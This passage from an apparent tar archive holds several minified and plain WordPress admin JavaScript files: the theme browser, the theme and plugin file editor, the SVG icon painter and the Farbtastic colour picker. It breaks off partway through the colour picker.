o.view.Theme({model:e,parent:t}),t.theme.render(),t.$el.append(t.theme.el),t.listenTo(t.theme,"theme:expand",t.expand,t)}),!o.isInstall&&o.data.settings.canInstall&&this.$el.append('<div class="theme add-new-theme"><a href="'+o.data.settings.installURI+'"><div class="theme-screenshot"><span aria-hidden="true"></span></div><h2 class="theme-name">'+a.addNew+"</h2></a></div>"),this.parent.page++)},currentTheme:function(){var e=this.collection.findWhere({active:!0});e&&(this.collection.remove(e),this.collection.add(e,{at:0}))},setView:function(e){return e},expand:function(e){var t,i=this;this.model=i.collection.get(e),o.router.navigate(o.router.baseUrl(o.router.themePath+this.model.id)),this.setView("detail"),n("body").addClass("modal-open"),this.overlay=new o.view.Details({model:i.model}),this.overlay.render(),this.model.get("hasUpdate")&&(e=n('[data-slug="'+this.model.id+'"]'),t=n(this.overlay.el),e.find(".updating-message").length?(t.find(".notice-warning h3").remove(),t.find(".notice-warning").removeClass("notice-large").addClass("updating-message").find("p").text(wp.updates.l10n.updating)):e.find(".notice-error").length&&t.find(".notice-warning").remove()),this.$overlay.html(this.overlay.el),this.listenTo(this.overlay,"theme:next",function(){i.next([i.model.cid])}).listenTo(this.overlay,"theme:previous",function(){i.previous([i.model.cid])})},next:function(e){e=this.collection.get(e[0]),e=this.collection.at(this.collection.indexOf(e)+1);void 0!==e&&(this.overlay.closeOverlay(),this.theme.trigger("theme:expand",e.cid))},previous:function(e){e=this.collection.get(e[0]),e=this.collection.at(this.collection.indexOf(e)-1);void 0!==e&&(this.overlay.closeOverlay(),this.theme.trigger("theme:expand",e.cid))},announceSearchResults:function(e){0===e?wp.a11y.speak(a.noThemesFound):wp.a11y.speak(a.themesFound.replace("%d",e))}}),o.view.Search=wp.Backbone.View.extend({tagName:"input",className:"wp-filter-search",id:"wp-filter-search-input",searching:!1,attributes:{type:"search","aria-describedby":"live-search-desc"},events:{input:"search",keyup:"search",blur:"pushState"},initialize:function(e){this.parent=e.parent,this.listenTo(this.parent,"theme:close",function(){this.searching=!1})},search:function(e){"keyup"===e.type&&27===e.which&&(e.target.value=""),this.doSearch(e)},doSearch:function(e){var t={};this.collection.doSearch(e.target.value.replace(/\+/g," ")),this.searching&&13!==e.which?t.replace=!0:this.searching=!0,e.target.value?o.router.navigate(o.router.baseUrl(o.router.searchPath+e.target.value),t):o.router.navigate(o.router.baseUrl(""))},pushState:function(e){var t=o.router.baseUrl("");e.target.value&&(t=o.router.baseUrl(o.router.searchPath+encodeURIComponent(e.target.value))),this.searching=!1,o.router.navigate(t)}}),o.Router=Backbone.Router.extend({routes:{"themes.php?theme=:slug":"theme","themes.php?search=:query":"search","themes.php?s=:query":"search","themes.php":"themes","":"themes"},baseUrl:function(e){return"themes.php"+e},themePath:"?theme=",searchPath:"?search=",search:function(e){n(".wp-filter-search").val(e.replace(/\+/g," "))},themes:function(){n(".wp-filter-search").val("")},navigate:e}),o.Run={init:function(){this.themes=new o.Collection(o.data.themes),this.view=new o.view.Appearance({collection:this.themes}),this.render(),this.view.SearchView.doSearch=_.debounce(this.view.SearchView.doSearch,500)},render:function(){this.view.render(),this.routes(),Backbone.History.started&&Backbone.history.stop(),Backbone.history.start({root:o.data.settings.adminUrl,pushState:!0,hashChange:!1})},routes:function(){var t=this;o.router=new o.Router,o.router.on("route:theme",function(e){t.view.view.expand(e)}),o.router.on("route:themes",function(){t.themes.doSearch(""),t.view.trigger("theme:close")}),o.router.on("route:search",function(){n(".wp-filter-search").trigger("keyup")}),this.extraRoutes()},extraRoutes:function(){return!1}},o.view.InstallerSearch=o.view.Search.extend({events:{input:"search",keyup:"search"},terms:"",search:function(e){("keyup"!==e.type||9!==e.which&&16!==e.which)&&(this.collection=this.options.parent.view.collection,"keyup"===e.type&&27===e.which&&(e.target.value=""),this.doSearch(e.target.value))},doSearch:function(e){var t={};this.terms!==e&&(this.terms=e,"author:"===(t.search=e).substring(0,7)&&(t.search="",t.author=e.slice(7)),"tag:"===e.substring(0,4)&&(t.search="",t.tag=[e.slice(4)]),n(".filter-links li > a.current").removeClass("current").removeAttr("aria-current"),n("body").removeClass("show-filters filters-applied show-favorites-form"),n(".drawer-toggle").attr("aria-expanded","false"),this.collection.query(t),o.router.navigate(o.router.baseUrl(o.router.searchPath+encodeURIComponent(e)),{replace:!0}))}}),o.view.Installer=o.view.Appearance.extend({el:"#wpbody-content .wrap",events:{"click .filter-links li > a":"onSort","click .theme-filter":"onFilter","click .drawer-toggle":"moreFilters","click .filter-drawer .apply-filters":"applyFilters",'click .filter-group [type="checkbox"]':"addFilter","click .filter-drawer .clear-filters":"clearFilters","click .edit-filters":"backToFilters","click .favorites-form-submit":"saveUsername","keyup #wporg-username-input":"saveUsername"},render:function(){var e=this;this.search(),this.uploader(),this.collection=new o.Collection,this.listenTo(this,"theme:end",function(){e.collection.loadingThemes||(e.collection.loadingThemes=!0,e.collection.currentQuery.page++,_.extend(e.collection.currentQuery.request,{page:e.collection.currentQuery.page}),e.collection.query(e.collection.currentQuery.request))}),this.listenTo(this.collection,"query:success",function(){n("body").removeClass("loading-content"),n(".theme-browser").find("div.error").remove()}),this.listenTo(this.collection,"query:fail",function(){n("body").removeClass("loading-content"),n(".theme-browser").find("div.error").remove(),n(".theme-browser").find("div.themes").before('<div class="notice notice-error"><p>'+a.error+'</p><p><button class="button try-again">'+a.tryAgain+"</button></p></div>"),n(".theme-browser .error .try-again").on("click",function(e){e.preventDefault(),n("input.wp-filter-search").trigger("input")})}),this.view&&this.view.remove(),this.view=new o.view.Themes({collection:this.collection,parent:this}),this.page=0,this.$el.find(".themes").remove(),this.view.render(),this.$el.find(".theme-browser").append(this.view.el).addClass("rendered")},browse:function(e){"block-themes"===e?this.collection.query({tag:"full-site-editing"}):this.collection.query({browse:e})},onSort:function(e){var t=n(e.target),i=t.data("sort");e.preventDefault(),n("body").removeClass("filters-applied show-filters"),n(".drawer-toggle").attr("aria-expanded","false"),t.hasClass(this.activeClass)||(this.sort(i),o.router.navigate(o.router.baseUrl(o.router.browsePath+i)))},sort:function(e){this.clearSearch(),o.router.selectedTab=e,n(".filter-links li > a, .theme-filter").removeClass(this.activeClass).removeAttr("aria-current"),n('[data-sort="'+e+'"]').addClass(this.activeClass).attr("aria-current","page"),"favorites"===e?n("body").addClass("show-favorites-form"):n("body").removeClass("show-favorites-form"),this.browse(e)},onFilter:function(e){var e=n(e.target),t=e.data("filter");e.hasClass(this.activeClass)||(n(".filter-links li > a, .theme-section").removeClass(this.activeClass).removeAttr("aria-current"),e.addClass(this.activeClass).attr("aria-current","page"),t&&(t=_.union([t,this.filtersChecked()]),this.collection.query({tag:[t]})))},addFilter:function(){this.filtersChecked()},applyFilters:function(e){var t,i=this.filtersChecked(),s={tag:i},r=n(".filtered-by .tags");e&&e.preventDefault(),i?(n("body").addClass("filters-applied"),n(".filter-links li > a.current").removeClass("current").removeAttr("aria-current"),r.empty(),_.each(i,function(e){t=n('label[for="filter-id-'+e+'"]').text(),r.append('<span class="tag">'+t+"</span>")}),this.collection.query(s)):wp.a11y.speak(a.selectFeatureFilter)},saveUsername:function(e){var t=n("#wporg-username-input").val(),i=n("#wporg-username-nonce").val(),s={browse:"favorites",user:t},r=this;if(e&&e.preventDefault(),"keyup"!==e.type||13===e.which)return wp.ajax.send("save-wporg-username",{data:{_wpnonce:i,username:t},success:function(){r.collection.query(s)}})},filtersChecked:function(){var e=n(".filter-group").find(":checkbox"),t=[];return _.each(e.filter(":checked"),function(e){t.push(n(e).prop("value"))}),0===t.length?(n(".filter-drawer .apply-filters").find("span").text(""),n(".filter-drawer .clear-filters").hide(),n("body").removeClass("filters-applied"),!1):(n(".filter-drawer .apply-filters").find("span").text(t.length),n(".filter-drawer .clear-filters").css("display","inline-block"),t)},activeClass:"current",uploader:function(){var e=n(".upload-view-toggle"),t=n(document.body);e.on("click",function(){t.toggleClass("show-upload-view"),e.attr("aria-expanded",t.hasClass("show-upload-view"))})},moreFilters:function(e){var t=n("body"),i=n(".drawer-toggle");if(e.preventDefault(),t.hasClass("filters-applied"))return this.backToFilters();this.clearSearch(),o.router.navigate(o.router.baseUrl("")),t.toggleClass("show-filters"),i.attr("aria-expanded",t.hasClass("show-filters"))},clearFilters:function(e){var t=n(".filter-group").find(":checkbox"),i=this;e.preventDefault(),_.each(t.filter(":checked"),function(e){return n(e).prop("checked",!1),i.filtersChecked()})},backToFilters:function(e){e&&e.preventDefault(),n("body").removeClass("filters-applied")},clearSearch:function(){n("#wp-filter-search-input").val("")}}),o.InstallerRouter=Backbone.Router.extend({routes:{"theme-install.php?theme=:slug":"preview","theme-install.php?browse=:sort":"sort","theme-install.php?search=:query":"search","theme-install.php":"sort"},baseUrl:function(e){return"theme-install.php"+e},themePath:"?theme=",browsePath:"?browse=",searchPath:"?search=",search:function(e){n(".wp-filter-search").val(e.replace(/\+/g," "))},navigate:e}),o.RunInstaller={init:function(){this.view=new o.view.Installer({section:"popular",SearchView:o.view.InstallerSearch}),this.render(),this.view.SearchView.doSearch=_.debounce(this.view.SearchView.doSearch,500)},render:function(){this.view.render(),this.routes(),Backbone.History.started&&Backbone.history.stop(),Backbone.history.start({root:o.data.settings.adminUrl,pushState:!0,hashChange:!1})},routes:function(){var t=this,i={};o.router=new o.InstallerRouter,o.router.on("route:preview",function(e){o.preview&&(o.preview.undelegateEvents(),o.preview.unbind()),t.view.view.theme&&t.view.view.theme.preview?(t.view.view.theme.model=t.view.collection.findWhere({slug:e}),t.view.view.theme.preview()):(i.theme=e,t.view.collection.query(i),t.view.collection.trigger("update"),t.view.collection.once("query:success",function(){n('div[data-slug="'+e+'"]').trigger("click")}))}),o.router.on("route:sort",function(e){e||(e="popular",o.router.navigate(o.router.baseUrl("?browse=popular"),{replace:!0})),t.view.sort(e),o.preview&&o.preview.close()}),o.router.on("route:search",function(){n(".wp-filter-search").trigger("focus").trigger("keyup")}),this.extraRoutes()},extraRoutes:function(){return!1}},n(function(){(o.isInstall?o.RunInstaller:o.Run).init(),n(document.body).on("click",".load-customize",function(){var e=n(this),t=document.createElement("a");t.href=e.prop("href"),t.search=n.param(_.extend(wp.customize.utils.parseQueryString(t.search.substr(1)),{return:window.location.href})),e.prop("href",t.href)}),n(".broken-themes .delete-theme").on("click",function(){return confirm(_wpThemeSettings.settings.confirmDelete)})})}(jQuery),jQuery(function(r){window.tb_position=function(){var e=r("#TB_window"),t=r(window).width(),i=r(window).height(),t=1040<t?1040:t,s=0;r("#wpadminbar").length&&(s=parseInt(r("#wpadminbar").css("height"),10)),1<=e.length&&(e.width(t-50).height(i-45-s),r("#TB_iframeContent").width(t-50).height(i-75-s),e.css({"margin-left":"-"+parseInt((t-50)/2,10)+"px"}),void 0!==document.body.style.maxWidth)&&e.css({top:20+s+"px","margin-top":"0"})},r(window).on("resize",function(){tb_position()})}); theme-plugin-editor.min.js 0000644 00000027510 15222552267 0011563 0 ustar 00 /*! This file is auto-generated */ window.wp||(window.wp={}),wp.themePluginEditor=function(o){"use strict";var t,i=wp.i18n.__,s=wp.i18n._n,r=wp.i18n.sprintf,n={codeEditor:{},instance:null,noticeElements:{},dirty:!1,lintErrors:[],init:function(e,t){n.form=e,t&&o.extend(n,t),n.noticeTemplate=wp.template("wp-file-editor-notice"),n.noticesContainer=n.form.find(".editor-notices"),n.submitButton=n.form.find(":input[name=submit]"),n.spinner=n.form.find(".submit .spinner"),n.form.on("submit",n.submit),n.textarea=n.form.find("#newcontent"),n.textarea.on("change",n.onChange),n.warning=o(".file-editor-warning"),n.docsLookUpButton=n.form.find("#docs-lookup"),n.docsLookUpList=n.form.find("#docs-list"),0<n.warning.length&&n.showWarning(),!1!==n.codeEditor&&_.defer(function(){n.initCodeEditor()}),o(n.initFileBrowser),o(window).on("beforeunload",function(){if(n.dirty)return i("The changes you made will be lost if you navigate away from this page.")}),n.docsLookUpList.on("change",function(){""===o(this).val()?n.docsLookUpButton.prop("disabled",!0):n.docsLookUpButton.prop("disabled",!1)}),o(window).on("keydown",function(e){!e.ctrlKey&&!e.metaKey||"s"!==e.key.toLowerCase()||n.instance&&n.instance.codemirror.hasFocus()||(e.preventDefault(),n.form.trigger("submit"))})},showWarning:function(){var e=n.warning.find(".file-editor-warning-message").text();o("#wpwrap").attr("aria-hidden","true"),o(document.body).addClass("modal-open").append(n.warning.detach()),n.warning.removeClass("hidden").find(".file-editor-warning-go-back").trigger("focus"),n.warningTabbables=n.warning.find("a, button"),n.warningTabbables.on("keydown",n.constrainTabbing),n.warning.on("click",".file-editor-warning-dismiss",n.dismissWarning),setTimeout(function(){wp.a11y.speak(wp.sanitize.stripTags(e.replace(/\s+/g," ")),"assertive")},1e3)},constrainTabbing:function(e){var t,i;9===e.which&&(t=n.warningTabbables.first()[0],(i=n.warningTabbables.last()[0])!==e.target||e.shiftKey?t===e.target&&e.shiftKey&&(i.focus(),e.preventDefault()):(t.focus(),e.preventDefault()))},dismissWarning:function(){wp.ajax.post("dismiss-wp-pointer",{pointer:n.themeOrPlugin+"_editor_notice"}),n.warning.remove(),o("#wpwrap").removeAttr("aria-hidden"),o("body").removeClass("modal-open")},onChange:function(){n.dirty=!0,n.removeNotice("file_saved")},submit:function(e){var t={};e.preventDefault(),o.each(n.form.serializeArray(),function(){t[this.name]=this.value}),n.instance&&(t.newcontent=n.instance.codemirror.getValue()),n.isSaving||(n.instance&&n.instance.updateErrorNotice&&n.instance.updateErrorNotice(),n.lintErrors.length?n.instance.codemirror.setCursor(n.lintErrors[0].from.line):(n.isSaving=!0,n.textarea.prop("readonly",!0),n.instance&&n.instance.codemirror.setOption("readOnly",!0),n.spinner.addClass("is-active"),e=wp.ajax.post("edit-theme-plugin-file",t),n.lastSaveNoticeCode&&n.removeNotice(n.lastSaveNoticeCode),e.done(function(e){n.lastSaveNoticeCode="file_saved",n.addNotice({code:n.lastSaveNoticeCode,type:"success",message:e.message,dismissible:!0}),n.dirty=!1}),e.fail(function(e){e=o.extend({code:"save_error",message:i("An error occurred while saving your changes. Please try again. If the problem persists, you may need to manually update the file via FTP.")},e,{type:"error",dismissible:!0});n.lastSaveNoticeCode=e.code,n.addNotice(e)}),e.always(function(){n.spinner.removeClass("is-active"),n.isSaving=!1,n.textarea.prop("readonly",!1),n.instance&&n.instance.codemirror.setOption("readOnly",!1)})))},addNotice:function(e){var t;if(e.code)return n.removeNotice(e.code),(t=o(n.noticeTemplate(e))).hide(),t.find(".notice-dismiss").on("click",function(){n.removeNotice(e.code),e.onDismiss&&e.onDismiss(e)}),wp.a11y.speak(e.message),n.noticesContainer.append(t),t.slideDown("fast"),n.noticeElements[e.code]=t;throw new Error("Missing code.")},removeNotice:function(e){return!!n.noticeElements[e]&&(n.noticeElements[e].slideUp("fast",function(){o(this).remove()}),delete n.noticeElements[e],!0)},initCodeEditor:function(){var t,e;function i(){n.form.trigger("submit")}(t=o.extend({},n.codeEditor)).onTabPrevious=function(){o("#templateside").find(":tabbable").last().trigger("focus")},t.onTabNext=function(){o("#template").find(":tabbable:not(.CodeMirror-code)").first().trigger("focus")},t.onChangeLintingErrors=function(e){0===(n.lintErrors=e).length&&n.submitButton.toggleClass("disabled",!1)},t.onUpdateErrorNotice=function(e){n.submitButton.toggleClass("disabled",0<e.length),0!==e.length?n.addNotice({code:"lint_errors",type:"error",message:r(s("There is %s error which must be fixed before you can update this file.","There are %s errors which must be fixed before you can update this file.",e.length),String(e.length)),dismissible:!1}).find("input[type=checkbox]").on("click",function(){t.onChangeLintingErrors([]),n.removeNotice("lint_errors")}):n.removeNotice("lint_errors")},(e=wp.codeEditor.initialize(o("#newcontent"),t)).codemirror.on("change",n.onChange),e.codemirror.setOption("extraKeys",{...e.codemirror.getOption("extraKeys")||{},"Ctrl-S":i,"Cmd-S":i}),o(e.codemirror.display.lineDiv).attr({role:"textbox","aria-multiline":"true","aria-labelledby":"theme-plugin-editor-label","aria-describedby":"editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4"}),o("#theme-plugin-editor-label").on("click",function(){e.codemirror.focus()}),n.instance=e},initFileBrowser:function(){var e=o("#templateside");e.find('[role="group"]').parent().attr("aria-expanded",!1),e.find(".notice").parents("[aria-expanded]").attr("aria-expanded",!0),e.find('[role="tree"]').each(function(){new t(this).init()}),e.find(".current-file:first").each(function(){this.scrollIntoViewIfNeeded?this.scrollIntoViewIfNeeded():this.scrollIntoView(!1)})}},a=(e.prototype.init=function(){this.domNode.tabIndex=-1,this.domNode.getAttribute("role")||this.domNode.setAttribute("role","treeitem"),this.domNode.addEventListener("keydown",this.handleKeydown.bind(this)),this.domNode.addEventListener("click",this.handleClick.bind(this)),this.domNode.addEventListener("focus",this.handleFocus.bind(this)),this.domNode.addEventListener("blur",this.handleBlur.bind(this)),(this.isExpandable?(this.domNode.firstElementChild.addEventListener("mouseover",this.handleMouseOver.bind(this)),this.domNode.firstElementChild):(this.domNode.addEventListener("mouseover",this.handleMouseOver.bind(this)),this.domNode)).addEventListener("mouseout",this.handleMouseOut.bind(this))},e.prototype.isExpanded=function(){return!!this.isExpandable&&"true"===this.domNode.getAttribute("aria-expanded")},e.prototype.handleKeydown=function(e){e.currentTarget;var t=!1,i=e.key;function o(e){return 1===e.length&&e.match(/\S/)}function s(e){"*"==i?(e.tree.expandAllSiblingItems(e),t=!0):o(i)&&(e.tree.setFocusByFirstCharacter(e,i),t=!0)}if(this.stopDefaultClick=!1,!(e.altKey||e.ctrlKey||e.metaKey)){if(e.shift)e.keyCode==this.keyCode.SPACE||e.keyCode==this.keyCode.RETURN?(e.stopPropagation(),this.stopDefaultClick=!0):o(i)&&s(this);else switch(e.keyCode){case this.keyCode.SPACE:case this.keyCode.RETURN:this.isExpandable?(this.isExpanded()?this.tree.collapseTreeitem(this):this.tree.expandTreeitem(this),t=!0):(e.stopPropagation(),this.stopDefaultClick=!0);break;case this.keyCode.UP:this.tree.setFocusToPreviousItem(this),t=!0;break;case this.keyCode.DOWN:this.tree.setFocusToNextItem(this),t=!0;break;case this.keyCode.RIGHT:this.isExpandable&&(this.isExpanded()?this.tree.setFocusToNextItem(this):this.tree.expandTreeitem(this)),t=!0;break;case this.keyCode.LEFT:this.isExpandable&&this.isExpanded()?(this.tree.collapseTreeitem(this),t=!0):this.inGroup&&(this.tree.setFocusToParentItem(this),t=!0);break;case this.keyCode.HOME:this.tree.setFocusToFirstItem(),t=!0;break;case this.keyCode.END:this.tree.setFocusToLastItem(),t=!0;break;default:o(i)&&s(this)}t&&(e.stopPropagation(),e.preventDefault())}},e.prototype.handleClick=function(e){e.target!==this.domNode&&e.target!==this.domNode.firstElementChild||this.isExpandable&&(this.isExpanded()?this.tree.collapseTreeitem(this):this.tree.expandTreeitem(this),e.stopPropagation())},e.prototype.handleFocus=function(e){var t=this.domNode;(t=this.isExpandable?t.firstElementChild:t).classList.add("focus")},e.prototype.handleBlur=function(e){var t=this.domNode;(t=this.isExpandable?t.firstElementChild:t).classList.remove("focus")},e.prototype.handleMouseOver=function(e){e.currentTarget.classList.add("hover")},e.prototype.handleMouseOut=function(e){e.currentTarget.classList.remove("hover")},e);function e(e,t,i){if("object"==typeof e){e.tabIndex=-1,this.tree=t,this.groupTreeitem=i,this.domNode=e,this.label=e.textContent.trim(),this.stopDefaultClick=!1,e.getAttribute("aria-label")&&(this.label=e.getAttribute("aria-label").trim()),this.isExpandable=!1,this.isVisible=!1,this.inGroup=!1,i&&(this.inGroup=!0);for(var o=e.firstElementChild;o;){if("ul"==o.tagName.toLowerCase()){o.setAttribute("role","group"),this.isExpandable=!0;break}o=o.nextElementSibling}this.keyCode=Object.freeze({RETURN:13,SPACE:32,PAGEUP:33,PAGEDOWN:34,END:35,HOME:36,LEFT:37,UP:38,RIGHT:39,DOWN:40})}}function d(e){"object"==typeof e&&(this.domNode=e,this.treeitems=[],this.firstChars=[],this.firstTreeitem=null,this.lastTreeitem=null)}return d.prototype.init=function(){this.domNode.getAttribute("role")||this.domNode.setAttribute("role","tree"),function e(t,i,o){for(var s=t.firstElementChild,r=o;s;)("li"===s.tagName.toLowerCase()&&"span"===s.firstElementChild.tagName.toLowerCase()||"a"===s.tagName.toLowerCase())&&((r=new a(s,i,o)).init(),i.treeitems.push(r),i.firstChars.push(r.label.substring(0,1).toLowerCase())),s.firstElementChild&&e(s,i,r),s=s.nextElementSibling}(this.domNode,this,!1),this.updateVisibleTreeitems(),this.firstTreeitem.domNode.tabIndex=0},d.prototype.setFocusToItem=function(e){for(var t=0;t<this.treeitems.length;t++){var i=this.treeitems[t];i===e?(i.domNode.tabIndex=0,i.domNode.focus()):i.domNode.tabIndex=-1}},d.prototype.setFocusToNextItem=function(e){for(var t=!1,i=this.treeitems.length-1;0<=i;i--){var o=this.treeitems[i];if(o===e)break;o.isVisible&&(t=o)}t&&this.setFocusToItem(t)},d.prototype.setFocusToPreviousItem=function(e){for(var t=!1,i=0;i<this.treeitems.length;i++){var o=this.treeitems[i];if(o===e)break;o.isVisible&&(t=o)}t&&this.setFocusToItem(t)},d.prototype.setFocusToParentItem=function(e){e.groupTreeitem&&this.setFocusToItem(e.groupTreeitem)},d.prototype.setFocusToFirstItem=function(){this.setFocusToItem(this.firstTreeitem)},d.prototype.setFocusToLastItem=function(){this.setFocusToItem(this.lastTreeitem)},d.prototype.expandTreeitem=function(e){e.isExpandable&&(e.domNode.setAttribute("aria-expanded",!0),this.updateVisibleTreeitems())},d.prototype.expandAllSiblingItems=function(e){for(var t=0;t<this.treeitems.length;t++){var i=this.treeitems[t];i.groupTreeitem===e.groupTreeitem&&i.isExpandable&&this.expandTreeitem(i)}},d.prototype.collapseTreeitem=function(e){var t=!1;(t=e.isExpanded()?e:e.groupTreeitem)&&(t.domNode.setAttribute("aria-expanded",!1),this.updateVisibleTreeitems(),this.setFocusToItem(t))},d.prototype.updateVisibleTreeitems=function(){this.firstTreeitem=this.treeitems[0];for(var e=0;e<this.treeitems.length;e++){var t=this.treeitems[e],i=t.domNode.parentNode;for(t.isVisible=!0;i&&i!==this.domNode;)"false"==i.getAttribute("aria-expanded")&&(t.isVisible=!1),i=i.parentNode;t.isVisible&&(this.lastTreeitem=t)}},d.prototype.setFocusByFirstCharacter=function(e,t){t=t.toLowerCase(),(e=this.treeitems.indexOf(e)+1)===this.treeitems.length&&(e=0),-1<(e=-1===(e=this.getIndexFirstChars(e,t))?this.getIndexFirstChars(0,t):e)&&this.setFocusToItem(this.treeitems[e])},d.prototype.getIndexFirstChars=function(e,t){for(var i=e;i<this.firstChars.length;i++)if(this.treeitems[i].isVisible&&t===this.firstChars[i])return i;return-1},t=d,n}(jQuery),wp.themePluginEditor.l10n=wp.themePluginEditor.l10n||{saveAlert:"",saveError:"",lintError:{alternative:"wp.i18n",func:function(){return{singular:"",plural:""}}}},wp.themePluginEditor.l10n=window.wp.deprecateL10nObject("wp.themePluginEditor.l10n",wp.themePluginEditor.l10n,"5.5.0"); svg-painter.min.js 0000644 00000003037 15222552267 0010136 0 ustar 00 /*! This file is auto-generated */ window.wp=window.wp||{},wp.svgPainter=function(a,i){"use strict";var n,t,s={},o=[];return a(function(){wp.svgPainter.init()}),{init:function(){t=this,n=a("#adminmenu .wp-menu-image, #wpadminbar .ab-item"),t.setColors(),t.findElements(),t.paint()},setColors:function(n){(n=void 0===n&&void 0!==i._wpColorScheme?i._wpColorScheme:n)&&n.icons&&n.icons.base&&n.icons.current&&n.icons.focus&&(s=n.icons)},findElements:function(){n.each(function(){var n=a(this),e=n.css("background-image");e&&-1!=e.indexOf("data:image/svg+xml;base64")&&o.push(n)})},paint:function(){a.each(o,function(n,e){var a=e.parent().parent();a.hasClass("current")||a.hasClass("wp-has-current-submenu")?t.paintElement(e,"current"):(t.paintElement(e,"base"),a.on("mouseenter",function(){t.paintElement(e,"focus")}).on("mouseleave",function(){i.setTimeout(function(){t.paintElement(e,"base")},100)}))})},paintElement:function(n,e){var a,t;if(e&&s.hasOwnProperty(e)&&(e=s[e]).match(/^(#[0-9a-f]{3}|#[0-9a-f]{6})$/i)&&"none"!==(a=n.data("wp-ui-svg-"+e))){if(!a){if(!(t=n.css("background-image").match(/.+data:image\/svg\+xml;base64,([A-Za-z0-9\+\/\=]+)/))||!t[1])return void n.data("wp-ui-svg-"+e,"none");try{a=i.atob(t[1])}catch(n){}if(!a)return void n.data("wp-ui-svg-"+e,"none");a=(a=(a=a.replace(/fill="(.+?)"/g,'fill="'+e+'"')).replace(/style="(.+?)"/g,'style="fill:'+e+'"')).replace(/fill:.*?;/g,"fill: "+e+";"),a=i.btoa(a),n.data("wp-ui-svg-"+e,a)}n.attr("style",'background-image: url("data:image/svg+xml;base64,'+a+'") !important;')}}}}(jQuery,window,document); farbtastic.js 0000644 00000017251 15222552267 0007242 0 ustar 00 /*! * Farbtastic: jQuery color picker plug-in v1.3u * https://github.com/mattfarina/farbtastic * * Licensed under the GPL license: * http://www.gnu.org/licenses/gpl.html */ /** * Modified for WordPress: replaced deprecated jQuery methods. * See https://core.trac.wordpress.org/ticket/57946. */ (function($) { $.fn.farbtastic = function (options) { $.farbtastic(this, options); return this; }; $.farbtastic = function (container, callback) { var container = $(container).get(0); return container.farbtastic || (container.farbtastic = new $._farbtastic(container, callback)); }; $._farbtastic = function (container, callback) { // Store farbtastic object var fb = this; // Insert markup $(container).html('<div class="farbtastic"><div class="color"></div><div class="wheel"></div><div class="overlay"></div><div class="h-marker marker"></div><div class="sl-marker marker"></div></div>'); var e = $('.farbtastic', container); fb.wheel = $('.wheel', container).get(0); // Dimensions fb.radius = 84; fb.square = 100; fb.width = 194; // Fix background PNGs in IE6 if (navigator.appVersion.match(/MSIE [0-6]\./)) { $('*', e).each(function () { if (this.currentStyle.backgroundImage != 'none') { var image = this.currentStyle.backgroundImage; image = this.currentStyle.backgroundImage.substring(5, image.length - 2); $(this).css({ 'backgroundImage': 'none', 'filter': "progid:DXImageTransform.Microsoft.AlphaImageLoader(enabled=true, sizingMethod=crop, src='" + image + "')" }); } }); } /** * Link to the given element(s) or callback. */ fb.linkTo = function (callback) { // Unbind previous nodes if (typeof fb.callback == 'object') { $(fb.callback).off('keyup', fb.updateValue); } // Reset color fb.color = null; // Bind callback or elements if (typeof callback == 'function') { fb.callback = callback; } else if (typeof callback == 'object' || typeof callback == 'string') { fb.callback = $(callback); fb.callback.on('keyup', fb.updateValue); if (fb.callback.get(0).value) { fb.setColor(fb.callback.get(0).value); } } return this; }; fb.updateValue = function (event) { if (this.value && this.value != fb.color) { fb.setColor(this.value); } }; /** * Change color with HTML syntax #123456 */ fb.setColor = function (color) { var unpack = fb.unpack(color); if (fb.color != color && unpack) { fb.color = color; fb.rgb = unpack; fb.hsl = fb.RGBToHSL(fb.rgb); fb.updateDisplay(); } return this; }; /** * Change color with HSL triplet [0..1, 0..1, 0..1] */ fb.setHSL = function (hsl) { fb.hsl = hsl; fb.rgb = fb.HSLToRGB(hsl); fb.color = fb.pack(fb.rgb); fb.updateDisplay(); return this; }; ///////////////////////////////////////////////////// /** * Retrieve the coordinates of the given event relative to the center * of the widget. */ fb.widgetCoords = function (event) { var offset = $(fb.wheel).offset(); return { x: (event.pageX - offset.left) - fb.width / 2, y: (event.pageY - offset.top) - fb.width / 2 }; }; /** * Mousedown handler */ fb.mousedown = function (event) { // Capture mouse if (!document.dragging) { $(document).on('mousemove', fb.mousemove).on('mouseup', fb.mouseup); document.dragging = true; } // Check which area is being dragged var pos = fb.widgetCoords(event); fb.circleDrag = Math.max(Math.abs(pos.x), Math.abs(pos.y)) * 2 > fb.square; // Process fb.mousemove(event); return false; }; /** * Mousemove handler */ fb.mousemove = function (event) { // Get coordinates relative to color picker center var pos = fb.widgetCoords(event); // Set new HSL parameters if (fb.circleDrag) { var hue = Math.atan2(pos.x, -pos.y) / 6.28; if (hue < 0) hue += 1; fb.setHSL([hue, fb.hsl[1], fb.hsl[2]]); } else { var sat = Math.max(0, Math.min(1, -(pos.x / fb.square) + .5)); var lum = Math.max(0, Math.min(1, -(pos.y / fb.square) + .5)); fb.setHSL([fb.hsl[0], sat, lum]); } return false; }; /** * Mouseup handler */ fb.mouseup = function () { // Uncapture mouse $(document).off('mousemove', fb.mousemove); $(document).off('mouseup', fb.mouseup); document.dragging = false; }; /** * Update the markers and styles */ fb.updateDisplay = function () { // Markers var angle = fb.hsl[0] * 6.28; $('.h-marker', e).css({ left: Math.round(Math.sin(angle) * fb.radius + fb.width / 2) + 'px', top: Math.round(-Math.cos(angle) * fb.radius + fb.width / 2) + 'px' }); $('.sl-marker', e).css({ left: Math.round(fb.square * (.5 - fb.hsl[1]) + fb.width / 2) + 'px', top: Math.round(fb.square * (.5 - fb.hsl[2]) + fb.width / 2) + 'px' }); // Saturation/Luminance gradient $('.color', e).css('backgroundColor', fb.pack(fb.HSLToRGB([fb.hsl[0], 1, 0.5]))); // Linked elements or callback if (typeof fb.callback == 'object') { // Set background/foreground color $(fb.callback).css({ backgroundColor: fb.color, color: fb.hsl[2] > 0.5 ? '#000' : '#fff' }); // Change linked value $(fb.callback).each(function() { if (this.value && this.value != fb.color) { this.value = fb.color; } }); } else if (typeof fb.callback == 'function') { fb.callback.call(fb, fb.color); } }; /* Various color utility functions */ fb.pack = function (rgb) { var r = Math.round(rgb[0] * 255); var g = Math.round(rgb[1] * 255); var b = Math.round(rgb[2] * 255); return '#' + (r < 16 ? '0' : '') + r.toString(16) + (g < 16 ? '0' : '') + g.toString(16) + (b < 16 ? '0' : '') + b.toString(16); }; fb.unpack = function (color) { if (color.length == 7) { return [parseInt('0x' + color.substring(1, 3)) / 255, parseInt('0x' + color.substring(3, 5)) / 255, parseInt('0x' + color.substring(5, 7)) / 255]; } else if (color.length == 4) { return [parseInt('0x' + color.substring(1, 2)) / 15, 